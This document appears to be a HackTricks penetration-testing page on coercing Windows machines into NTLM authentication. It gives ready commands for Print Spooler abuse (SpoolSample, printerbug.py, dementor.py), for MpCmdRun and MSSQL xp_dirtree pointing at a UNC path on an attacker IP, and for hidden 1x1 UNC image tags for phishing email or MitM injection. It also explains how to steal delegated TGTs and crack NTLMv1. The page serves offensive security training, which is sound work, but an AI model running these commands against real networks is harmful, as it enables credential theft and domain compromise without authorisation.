6.2 KiB
Force NTLM Privileged Authentication
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SharpSystemTriggers
****SharpSystemTriggers is a collection of remote authentication triggers coded in C# using MIDL compiler for avoiding 3rd party dependencies.
Spooler Service Abuse
If the Print Spooler service is enabled, you can use some already known AD credentials to request to the Domain Controller’s print server an update on new print jobs and just tell it to send the notification to some system.
Note when printer send the notification to an arbitrary systems, it needs to authenticate against that system. Therefore, an attacker can make the Print Spooler service authenticate against an arbitrary system, and the service will use the computer account in this authentication.
Finding Windows Servers on the domain
Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Finding Spooler services listening
Using a slightly modified @mysmartlogin's (Vincent Le Toux's) SpoolerScanner, see if the Spooler Service is listening:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol
rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN
Ask the service to authenticate against an arbitrary host
You can compile SpoolSample from here.
SpoolSample.exe <TARGET> <RESPONDERIP>
or use 3xocyte's dementor.py or printerbug.py if you're on Linux
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
Combining with Unconstrained Delegation
If an attacker has already compromised a computer with Unconstrained Delegation, the attacker could make the printer authenticate against this computer. Due to the unconstrained delegation, the TGT of the computer account of the printer will be saved in the memory of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to retrieve this ticket and abuse it (Pass the Ticket).
RCP Force authentication
{% embed url="https://github.com/p0dalirius/Coercer" %}
Inside Windows
If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with:
Defender MpCmdRun
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
MSSQL
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
HTML injection
Via email
If you know the email address of the user that logs inside a machine you want to compromise, you could just send him an email with a 1x1 image such as
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
and when he opens it, he will try to authenticate.
MitM
If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page:
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
Cracking NTLMv1
If you can capture NTLMv1 challenges read here how to crack them.
Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
Support HackTricks and get benefits!
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks submitting PRs to the hacktricks github repo.